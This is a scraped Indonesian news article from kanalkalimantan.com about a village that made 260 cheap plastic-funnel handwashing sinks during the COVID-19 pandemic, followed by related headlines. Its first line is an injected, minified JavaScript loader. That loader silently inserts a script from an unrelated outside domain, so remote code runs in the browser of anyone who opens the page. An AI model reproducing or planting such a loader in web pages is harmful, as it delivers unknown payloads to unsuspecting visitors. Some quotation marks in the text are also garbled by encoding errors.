(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI –  Gerakan melawan pandemi Covid-19 sampai ke pelosok desa, dengan mengantisipasi penyebaran virus corona melalui gerakan PHBS (Pola Hidup Bersih dan Sehat) melalui cuci tangan pakai sabun.
Gerakan PHBS melalui cuci tangan pakai sabun langsung diaplikasi aparat Desa Baru, Kecamantan Danau Panggang, Kabupaten Hulu Sungai Utara (HSU) dengn inisiatif menyulap corong plastik menjadi sebuah wastafel yang dipasang di tiap-tiap rumah warga.
Sedikitnya 260 corong plastik, 5 set selang, pipa ledeng dan sabun dibagikan pada setiap rumah di 5 RT yang ada di Desa Baru.
Kepala Desa Baru Yannur kepada Kanalkalimantan.com, Senin (6/4/2020) mengatakan, pihaknya bersama BPD Desa Baru berinisiatif menyulap ratusan corong plastik menjadi wastafel di tiap rumah. Cara ini dinilai lebih ekonomis dibandingkan wastafel berbahan dari aluminium atau keramik yang terbilang mahal di pasaran.
“Supaya seluruh warga dapat menikmati fasilitas wastafel, kita gunakan itu (corong plastik), kalau yang terbuat dari alumunium itu terlalu mahal, itu munkin cukup dibuat untuk 3 sampai 5 buah rumah, per satu buah wastafelnya, kalau yang ini bisa dibuatkan setiap buah rumah,†ujar Yannur.
Selain disediakan wastafel dari corong plastik lengkap dengan pemasangan dan sabunnya, ia berharap hal ini dapat seyogyanya dipergunakan bagi tiap keluarga agar terlaksana PHBS di lingkungan rumah masing-masing.
Sementara terkait, pembutan wastafel, ia menambahkan bahwa hai ini merupakan tindak lanjut dari instruksi dan surat edaran Bupati HSU agar setiap desa dapat menyediakan tempat cuci tangan bagi warga di desa, khususnya di fasilitas-fasilitas umum.
Menurut Yannur, dengan menyiasati penggunaan corong plastik sebagai wastafel penggunaan dana desa juga dapat diminimalisir.
“Kita siapkan corong plastik, sambungan pipa ledeng dari Pamsimas desa, kran, selang pembuangan, plus sabun. Pengeluarannya sekitar 25 sampai 30 ribu rupiah saja perunitnya,†beber Yannur.
Sampai saat ini, Yannur menambahkan pengeluaran dana untuk pembuatan corong plastik, pipa, keran, alat semprot disinfektan serta perlengkapan lainnya, hanya menghabiskan dana sekitar Rp 36 juta untuk penyediaan 260 wastafel di setiap rumah di desa ini. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More
KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More
This website uses cookies.